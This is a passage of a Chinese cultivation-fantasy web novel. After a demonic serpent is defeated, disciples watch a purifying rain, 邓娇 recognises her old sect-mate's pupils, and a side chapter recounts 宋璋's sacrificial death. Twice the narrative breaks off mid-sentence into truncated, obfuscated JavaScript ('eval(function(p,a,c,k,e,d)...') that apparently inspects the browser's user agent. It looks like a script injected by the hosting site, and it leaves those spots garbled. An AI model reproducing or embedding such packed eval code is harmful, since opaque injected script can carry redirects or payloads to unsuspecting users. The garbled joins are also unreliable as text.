其实是方才魔种中凝聚的魔气,此刻被炼化成灵气后,不多时已经聚成了一朵厚重的乌云笼罩在半空。倘若她们再不下山,估计就要被暴雨困在山上。 汤穗穗在半路抬头往天空望去,虽然浓密的树叶挡住了不少阳光,但依旧看得出来,她们头顶的乌云已经十分明显。 即使是她这种常识并不多的人,也感受到一股风雨欲来的气势。 可惜她们的速度还是没有跑赢乌云,还是没来得及下山,就被滂沱大雨淋成了“落汤鸡”。 还好一行人中还有人记得拿伞,她们三三两两地躲在伞下,看这一场难得的倾盆大雨肆意地冲刷着立石村的一切。汤穗穗悄悄调用灵力观察,降下的雨点几乎是青色的,将地面上的紫气全部清洗着。 豆大的雨点打在伞面上,发出噼里啪啦的声音,似乎在为她们方才的行为鼓掌。 “为什么会下雨啊?”汤穗穗也为她们高兴着,但她还是第一次遇到这样的阵仗。 “因为这里灵气稀缺啊。”邓娇又伸手弹了汤穗穗的脑门,“灵气补充的方式不就是下雨了吗?” 汤穗穗捂着脑门,听到身旁的师姐轻笑的声音。她转头朝师姐看去,对上后者无奈的神情,对方伸手轻轻点了点她的额头。 虽然师姐没有开口,当汤穗穗还是觉得自己回去后肯定会被恶补常识。 “来年,应当会有好收成。”蓝鄞的话语将她拉回当下,她看着对方一手握着长枪插在泥土,另一手擦掉脸上的 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山上的众人相视一笑,肩上卸下隐形又沉重的担子,在彼此的脸上看到如出一辙的释然。她们的身影被山上的树林遮挡,深藏功与名。 走在这一路上,只为这一刻而努力着。 山下的村民不知由何人起头,眼泪混杂着雨水淌下,叩谢天恩浩荡。 汤穗穗听到他们感谢老天,心中有些郁闷,不满地嘟起了嘴。这一切明明是她们所为,和这个老天又有什么关系? 姬忘尘感受到她的情绪,伸手拍了拍她的后背,轻声安慰:“别在意。” 正当汤穗穗赌气的时候,她看见到有一个撑着伞的人影走出来,朝众人说了些什么。村民们不约而同看向洄山的方向。汤穗穗还以为她们的身影被村民们发现,下意识想缩在师姐的身后。 撑着伞的人影也顺势抬起纸伞,露出了被遮蔽的面容,正是昨天的那位瞎眼阿婆。 不知道阿婆说了些什么,村民们换了个方向,朝着洄山的方向叩拜。即使是她们隔着距离,也依稀能听到他们喊的是“多谢道长”之类的话语。 “走吧。”邓娇轻笑着摇摇头,收回了看向村民的视线,朝众人挥了挥手,示意下山。她的脸色已经恢复了平静,可转身离开时的脚步仍是止不住地轻快,出卖了她此刻喜悦的心情。 姬忘尘给邓娇撑着伞,汤穗穗也跟在她身边:“师姐,我们就这么走了?我们不需要告诉他们真相吗?” “不需要啊。”听到了她问话的邓娇微微转身,顺手捏了捏她的脸,又回过头去,“他们不需要知道这些事情,这是属于‘山上’的秘密。” “这只是一场最寻常不过的雨水,”邓娇微微抬头,望向依旧没有停歇迹象的大雨,“这样就够了。” 这场暴雨虽然有所不同,但也没那么特别。 “可是师姐,如果做好事都不留名的话,那还会谁会记得我们做过什么呢?” “那又有什么关系呢?我又不是想被记住才这样做的。”邓娇轻笑出声,解决了洄山的魔蛇后,她的心情也畅快了不少。 她不仅想好怎么跑到师姐面前邀功,顺势缓和师姐们的矛盾;还想到把蛇骨给师哥,跟对方商量着打造一柄神兵利器;哦对了,还要给“小稻苗”打造一个独属于她的武器。 想起回宗之后的安排,她的语气忍不住变得轻快,话语也多了起来:“我的师姐她们总是念叨着‘救世’。我没有她们那么宏大的愿景,我只是想帮助身边的每一个‘你我她’——至于别的,我从来就没有放在心上。” 看着前面不自觉展开笑颜的邓娇,汤穗穗似懂非懂。 或许走上这条道路没有那么多理由,仅仅是想为旁人施以援手。 35.拟真试炼 这场倾盆大雨很快转为了绵绵细雨,无声地滋润着这里的每一寸土地。村民们从瞎眼阿婆口中得知了道长们的努力,自发地想给她们提供力所能及的答谢。 然而邓娇一行人趁着雨势变小,早就已经悄悄的离开了这里。既然洄山的问题已经解决,她们也到了返程的时候。 “师姐,拟真试炼还没结束吗?”汤穗穗躲在师姐的伞下,看着面前雾蒙蒙的天地。 她原本以为解除洄山危机之后,就会立刻返回现实。 “快了。”隔着绵绵的细雨,姬忘尘看着前面和队友肆意说笑着的邓娇,垂眸掩盖住眼底的情绪,“到今夜子时,我们就会离开这里。对你而言,不过是睡一觉的时间。” 拟真试炼就是如此,完成对应的除魔任务后,就会在当天结束时离开拟真境。 不过…… 汤穗穗偏头看向师姐,明明拟真试炼已经顺利结束,但对方好似并不开心。 自从上次两人聊开后,姬忘尘在汤面前会不自觉地放松自己,从而后者可以很清楚地察觉到前者此时低落的情绪。 “……师姐,你有些不太高兴?”汤穗穗扯了扯师姐的衣袖,看向队伍前方的人,“是和邓娇师姐有关吗?” 虽然姬忘尘掩饰得很好,但或许是她太了解对方的缘故,她可以捕捉到对方看向邓娇师姐,转瞬即逝的神情变化。 “我记得你说她比较特别,是她相关吗?”汤穗穗还记得师姐一开始提到的内容,她始终觉得还是和对方相关,“邓娇师姐和师姐你,是有过什么交集吗?” “……是啊,我们曾经见过的。或许她记得,也或许她不记得。”姬忘尘私心隐去不愿提及的部分,勾了勾嘴角,强颜欢笑着开口,“算了,都过去了。” “邓娇师姐她以前,应当对你很好吧。”汤穗穗看着师姐脸上显而易见的难过,自然而然地开口,“虽然不知道发生了什么,但既然能在这里相遇,怎么不算是一种缘分呢? “既然有缘分,难道不是更应该握紧在手里吗?” 姬忘尘错愣着低头,看向汤穗穗黑白分明的眼睛里,看到了不停地纠结着的自己。 其实就像师妹所说,她们能够再次“相遇”,就已是可遇不可求的缘分。 “你俩嘀嘀咕咕什么呢!”邓娇在前面叉着腰,用力地挥手,另一只手打着伞,“就这么喜欢在雨中畅聊?” 在两人交谈中,唐澄澄的机关仪器找到了座废弃的佛寺。或许是因为洄山魔气作祟,这里原本的出家人也被迫离开,留下一座空寺。 邓娇收了伞,将伞随意地放在殿外,一边活动着肩膀缓解肩膀处肌肉的酸疼感,一边走进去。而姬忘尘收了伞,习惯性地抖掉伞上的水珠,将其收进了乾坤袋中。汤穗穗先她一步跟着邓娇走入佛寺中,下意识打量周围的装潢布置,对比起曾经在路上遇到过假冒的佛寺。 正如姚师舅当时所告诉她的那样,这件佛寺的状况更符合规范一些。 “看来今晚要在这里对付过去了。”邓娇按压着酸疼的部分,低声埋怨开口,“回去得要葛师姐给我备点药才行。” “邓师姐,我知道一些缓解疼痛的方法,你要试试吗?”成洱注意到对方的动作,主动上前,主动说起了自己家传的巧方。 “哎……”蓝鄞开口想叫住对方,也还是比成洱慢了一些。蓝鄞知道成洱的出身,有许多锻炼上的巧方,她自己也学过不少。 可是她不觉得现在是有必要的。 蓝鄞想找人说些什么,看向身边,那两个少女又凑到一块,捣鼓着手上的机关。她又将视线投到最后进来的姬忘尘,没想到对方竟然找到宋璋学习阵法去了! 蓝鄞也不能错过这个机会,她马上起身也凑在宋璋的身边:“宋璋前辈,我想学习阵法,能教我吗?” “当然啦!”宋璋虽然有些意外,但眉眼中都是惊喜。 没想到这趟洄山之行还有旁的收获,能够勾起更多人学习阵法就是宋璋的目标。 她拍了拍自己身边的位置,示意两人坐下,从包里掏出自己提炼的阵法要点,从头开始给两人讲解起来。 而邓娇这边,在成洱的教导下,果然她肌肉酸疼的部分也舒适了很多,她笑着道谢,但成洱不在意地摆摆手,重新坐回唐澄澄的身边。 汤穗穗看到成洱师姐回来,想起今天和师姐的讨论,抬头往邓娇的方向看去,却只见对方笑盈盈地朝自己挥了挥手。 她看了眼师姐的方向,她正和宋璋师姐讨论得认真,一时半会顾不上自己。她挠了挠头起身,坐在了邓娇的身边:“邓娇师姐,你找我做什么啊?” “小稻苗不想和我聊聊天吗?”邓娇皱着眉,捂着心口,一副受挫的模样。 “不是不是……”汤穗穗哪见过这种阵仗,硬着头皮摆了摆手,连忙解释道,“我只是没想到师姐你会主动找我……” “我以为我们的关系很亲密了。”邓娇的语气虽然很委屈,但是手上毫不客气地揉捏着汤穗穗的脸。 好在邓娇师姐只是过过手瘾,很快就放过了汤穗穗的脸,冷不丁地开口:“你师傅姓张是吗?我好像对你有些印象。” “才不是,我师傅姓秦,秦无纪。”因为这些日子的相处,汤穗穗已经把对方当做了自己人,想也不想地直接开口,“邓娇师姐你究竟把我当成了谁啊?” “……果然啊。”邓娇师姐的声音很轻,几乎被外面的雨声盖住。邓娇吸了吸鼻子,又睁了睁眼睛,声音有些颤抖,鼻尖涌上酸涩。 也在此刻,那些违和的地方被她理顺,姬忘尘的面容也和脑海中某张狼狈的脸对上了号。 但她不想被汤穗穗发现。 为了不让自己的眼泪涌出来,她还伸手拧了一把大腿肉—— 嘶,真的疼。 汤穗穗没想到对方竟然是这种反应。 即使对方掩饰得很好,紧皱的眉头和通红的双眼还是没能彻底隐藏:“……邓娇师姐,你是认识我师傅吗?” “那当然了,我们以前关系可好了,”邓娇抬手不经意地擦掉眼角的泪水,托着脸挑了挑眉,眉飞色舞地开口,“关系好到能睡在同一张床上!” “可是你看起来比师傅要年轻好多?难道……”汤穗穗还是有些狐疑,压根没往其他地方想,“你们是忘年交?” “哈哈哈哈……”邓娇忍不住放声大笑,伸手在汤穗穗脑袋上胡乱揉了揉,“小稻苗真可爱。” 汤穗穗不明所以,只觉得邓娇师姐脑子好像有点问题。 邓娇也笑够了,擦着眼角的泪花开口:“早知道会遇到你,我就去我师兄那偷几壶酒出来了,你应该没喝过——” 但是对方很快止住话头,笑着摇摇头,用一种汤穗穗看不懂的眼神望过来,又伸手弹了弹她的脑门,“差点忘了,小孩现在可不能喝酒。你师傅知道,说不定要揍我了。” 只是这力度比以往的任何时候都要轻。 “我又没说要喝。”汤穗穗捂着自己的额头,嘟着嘴轻声抱怨,“再说了,我师傅人可好了,才不是你说那种人。” “好好好。那你不如说说,当上师傅的她是怎么样的?” 姬忘尘收回看向两人的视线,重新将全部心神放在当下。宋璋讲得很细致,她也听得很认真,解答了许多阵法上的疑问。 但碍于宋璋现在灵气尚未恢复完全,手头上并没有合适的书籍,她还有些意犹未尽:“等回到宗门,你们再来找我,我一定给你们都讲清楚了!” 听到这句话的蓝鄞却怔愣住了,茫然地眨着眼,不知道该怎么回复,下意识将目光投到身旁的姬忘尘身上。 可是对方明明也清楚真相,却依旧笑得坦然地开口:“……会的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她闭眼做了个深呼吸,睁开双眼,又一次重复,“那就好。” 姬忘尘沉默地看着对方,对方的模样在记忆中变得清晰,没有想过竟然会在这里再遇。 即使她想努力表现得开心一些,可无论如何还是无法勾起笑容。 她知道面前的这一切,终究是一场镜花水月。 邓娇抬头对上姬忘尘强颜欢笑的神情,仔细端详了片刻,眉眼弯弯地开口:“你的表情比以前更生动了,是好事情。” “……是吗?”姬忘尘讶异开口,下意识摸上自己的脸,可什么都没有感觉到。 “有,我很高兴见到现在的你。”邓娇伸手搭上对方的肩膀,“其实那些都是过去的事了。你看,我们当时没做到,但是你们现在做到了,这就已经是很大的进步了。你是活在现在的人,你得往前看。” “等出去了,找我四师姐好好聊聊吧。她最擅长讲这些大道理。”邓娇换了个姿势,抱着自己的腿,后背靠在对方身上,“小稻苗告诉我了,你们的师傅就是我四师姐。” “现在呢,跟我聊聊吧。”邓娇打破两人间的沉默,一如既往地笑着开口,“聊聊这些年,聊聊她。” “……可是等我们出去,你也是会忘记的。” 等子时一到,她们会自动离开拟真境,而拟真境中发生的一切都不会保留下来。 “至少,我现在是知道的。” 姬忘尘抿了抿唇,最终还是将这些年自己所知的宗门变化和几位长辈的关系如实开口。 即便她不是一个擅长讲故事的性格,但邓娇还是将那些后来的故事听得津津有味。她见证了秦无纪的变化,也听到了姬忘尘一路的成长,也从只言片语中拼凑师门几人的近况。 “……时间也快到了吧,还真有些舍不得啊。”邓娇仰头眯着眼,忽然想起了什么,猛地睁眼,转身看向姬忘尘,神情严肃。 “哪怕已经过了很久,我还是想告诉你,不用在意我那混蛋师弟那句真假未辨的话。”对于师弟当时指出对方身上有魔种这件事,她从来都不以为然,“很多人以为他是什么风光霁月的君子,但实际上那小子偏执得要命,切开来说不定是黑心的。” 36.邓娇(上)[番外] “事情就是这样,我们已经准备好了板车,麻烦您先到——” 还没等邓娇说完,紧闭的木门终于打开,但是迎面而来的是一盆混着脏污的冷水。邓娇下意识地闭上了眼,凉水将她淋湿得透彻。还好方才她下意识屏住了呼吸,才没有将污水吸进去。 “你们这些神棍,少在我面前说瞎话!”面前的木门用力地合上,发生巨大的响声。木门后传来粗犷的男声,“我早就不信你们那套了,赶紧给我滚!” 果然又是这样。 邓娇的心又沉了下去,她皱着眉攥紧拳头,指甲陷进肉里让她恢复些许理智。 当初她接下任务的时候,完全不知道这里的情况如此棘手。立石村旁的洄山上藏了两条魔蛇,经年累月已经对附近造成了严重的侵蚀状况。 魔蛇对山上的状况十分熟悉,就算宋璋使用阵法辅助,几人对上魔蛇依旧力不从心。因此没有十全的把握,他们不敢轻举妄动,更担心惊扰了魔蛇,会对山下的百姓不利。 邓娇一方面给宗门送去援助的信息,一方面和宋璋围绕着山上,在合适的地方布下防御型的阵法,希望能拖到宗门援兵来的时候。 可是周围的情况远比她们想象中严重。 或许是因为防御阵的存在挑起了魔蛇不安的情绪,魔蛇突然陷入了发狂的状态,吐出的魔气又夺走了半个村庄人的性命。 邓娇不敢再拖延,她不敢猜测心魔蛇的下一次发狂吐出的魔气范围会有多大,是不是会蔓延到立石村之外,危及更多的百姓。 与此同时,邓娇还发现当地有不少的死灵被迫成为地缚灵,若是再不解决山上的魔种,这些地缚灵们还能不能被净化还是未知数。 在发狂魔蛇和地缚灵们的双重紧迫状况下,即使求助宗门的援兵还没有要来的准确信息,可是她们已经没有多少等待的时间了,她们必须马上做出选择。 为了给她们争取时间,也为了抵御魔蛇的侵袭,宋璋以自己为阵眼,将阵法化作攻击和防御双重叠加的阵法,进一步转换阵法的效力。 那是一个古老的阵法,以宋璋的生命为代价,并且伤害不可逆转。 而邓娇和其余队友则抓紧这些时间,向留在村庄里的村民陈明利弊,希望他们可以主动转移。然而这些村民却不以为然,依旧觉得邓娇他们大放厥词,甚至要将立石村的土地占为己有,于是反过来猜测闹鬼的传言就是他们这些人传出来的。 也因此,邓娇这一路上受尽了这些人的冷眼和唾骂,被泼一盆脏水都算是轻的了。 “师姐,还继续吗?”吕踪这边的情况也不好,他衣服上还有沾着被砸出来的烂菜叶。 他有些气馁,心中萌生了就此离开的想法。一方面他知道这里的情况迫在眉睫,但另一方面村民们的态度让他十分心寒。 邓娇抬手擦掉脸上的脏水,重重地呼出一口气,闭上眼又睁开。不管被问多少次,她都只会给出一个答案:“继续。” 无论受挫多少次,邓娇都一定要将这些村民转移,她绝对不会对这里的困境视而不见,既然她来到了这里,那她就要对这里的情况负责。 不管会面临什么、不管结局是什么,现在的她完全都顾不上,能做到的只有使劲换身解数,能劝说多一个就劝说多一个。 “……几位道长,需要帮忙吗?”正当她为难的时候,一道苍老的声音从他们身后传来。 邓娇猛地回头看去,一个拄着拐杖得到瞎眼老太在自己队友的搀扶下朝她们走过来。 “阿婆……”邓娇对她有些印象,之前初来乍到与对方有过些许交集。 “几位道长,老婆子我还有几分话语权,假若各位道长所言非虚,就交给老婆子我吧。”瞎眼阿婆虽然身体不便,但是精神矍铄,声如洪钟。 “我保证我们说的都是真的。”邓娇向阿婆拱手作揖,“时间紧急,烦请老人家相助。等我们解决之后,各位依旧能回来生活。” “有道长这句话就够了。”瞎眼阿婆拄着拐杖摇摇头,并不对她们所做抱有希望,“诸位道长尽力即可,一切本就是上天赐予的神罚……” “不是这样的,我们正是为此而来。”邓娇打断瞎眼阿婆的话语,“没有神罚不神罚的说法,立石村发生的一切变故都与你们无关。” 瞎眼阿婆不置可否,如她们一般挨家挨户地敲起了村民的木门。村民起初还以为是邓娇她们,不过在听到瞎眼阿婆的声音之后,立马转变了态度。 虽然对邓娇他们的说辞依旧报以怀疑,但村民们更相信瞎眼阿婆的判断。 在和村民的交谈中,邓娇几人才知道,面前的瞎眼阿婆居然是立石村的村长。也正是有了她的帮助和威望,村民们暂且相信了她们,按着她们的说法进行转移。 立石村的村民们终于在日落前,尽数转移。 村长阿婆是最后走的,她坐在板车上看着面前这个年纪轻轻的道长。夕阳的余晖洒在邓娇的身上,脸上的焦急与担忧让对方看起来更似下凡的神祇,为自己这些不重要的百姓而奔走。 或许是死马当作活马医的态度,村长阿婆对邓娇说:“这里便托付给几位道长了。” “多谢您的鼎力相助……”邓娇拱手致谢,还想说些什么,忽然一个人大步跑到她身边,喊了她的名字:“……不好了,乔姐。” 那人气喘吁吁地伏在邓娇耳边说了什么,她的脸色猛地变换,什么都顾不得,连忙就往方才那人来的方向跑去。 “抱歉,村长,接下来就交给我们吧。”起还没有喘匀的来人也没忘了和面前村长致谢,急匆匆地告别过后,也转身跟上邓娇的步伐。 村长阿婆坐在摇摇晃晃的班车上,看着她们的人影原来越小,自己离倒下的立石村牌子越来越远。她下意识抬头看向泛红的天边,后知后觉想起来,自己竟然还没有过问几位道长的名姓,还不知如何道谢。 等几位道长解决完之后,不知道自己还有没有这个机会,再请几位喝杯茶水。 邓娇并不知道村长阿婆的想法,她现在大脑一片空白,不管不顾地往歇脚的茅草屋跑去。方才的队友跟她说,宋璋此刻的状态不容乐观。 “宋璋——”邓娇猛地推开门,看到的就是靠着墙面色苍白的宋璋,对方额间冒出豆大的汗滴,紧紧地蹙着眉。邓娇扑过去跪在她的身边,握着对方的手试图传送一些灵气过去:“你现在怎么样了?” 邓娇的灵气让宋璋舒适了一些,也有了睁眼的力气。 她听到有人呼唤自己的名字,艰难地睁开眼,脸上扯出笑容,刚想张口说些什么,结果喉头发痒,张口又吐出满地鲜血。 “怎么了?”邓娇颤抖着手用袖子擦掉她唇边的血迹,她的衣袖被鲜血浸染成暗红色,“山上的情况还是很糟糕吗?” “它们在挣扎,我还好。”宋璋紧握成拳,疼痛让她勉强维持清醒,摇摇头艰难地开口,更关心的邓娇那边的情况,“……村民们都转移好了吗?” “嗯,都转移了,但是你……” “那就好……”宋璋听到村民被转移之后,心中的巨石也沉下些许。她能够感觉到,山上的魔蛇还在拼命地和阵法作斗争,自己的情况支撑不了多久。 即便如此,她还是不想让邓娇担心,她想要抓住抓着邓娇的手,但她现在已经有气无力,“等我们回去了,你可得赔我一壶好酒。” 她的脸上还是勉强维持着脸上的笑容,说些轻松的话佯装自己没事。可惜因为强行使用阵法的缘故,阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邓娇扶着宋璋靠着墙壁坐着,一直试图将自己的灵力传给她,可对方依旧没能熬过那个晚上。 邓娇枯坐在她的身边,紧紧地握着对方早已没了温度的手,没有开口说一句话,也没能流出一滴眼泪。 她的情绪好似被完全抽离,大脑一片空白,只想这样望着对方,完全做不出其余的反应。 不知过了多久,忽如其来的亮光让邓娇不适地皱了皱眉。她伸手挡在脸侧,下意识偏头看向窗外。 此时朝阳初升,阳光均匀地洒进室内,这才拉回了些许邓娇的思绪。 她将宋璋平放在地面上,用手轻柔地擦掉了对方脸上的血痕,衣袖上的血迹已经完全干涸,变得暗红。 此时宋璋闭着眼睛躺在地面上,脸上安详的状态就像她只是因为多日来的连轴转累极了,而稍微小歇片刻而已。 “走吧。”邓娇起身,不带任何情绪地开口。 “乔姐……”吕踪担心邓娇的状况,起身跟上对方的脚步,出声想要说些什么安慰对方。 他知道两位师姐的感情深厚,他也很为宋璋师姐痛心。并且,邓娇还是她们的主心骨,他不希望师姐因此而倒下。 然而邓娇什么也没说,只是走在最前面,听到吕踪的声音后,下意识停顿了脚步。 她没有回头,完全看不到脸上的神情,背对着同伴开口,只是声音有些沙哑:“现在,我们就是最后的防线。” 几位同伴闻言,相互对视打气。虽然他们还做不到像邓娇师姐一般冷静,但现在这个关头,更不能出现岔子。 比起宋璋的离去,山上魔蛇的危险愈发迫在眉睫。 正如邓娇师姐所说,在宗门援兵到来之前,他们就是这里最后的防线。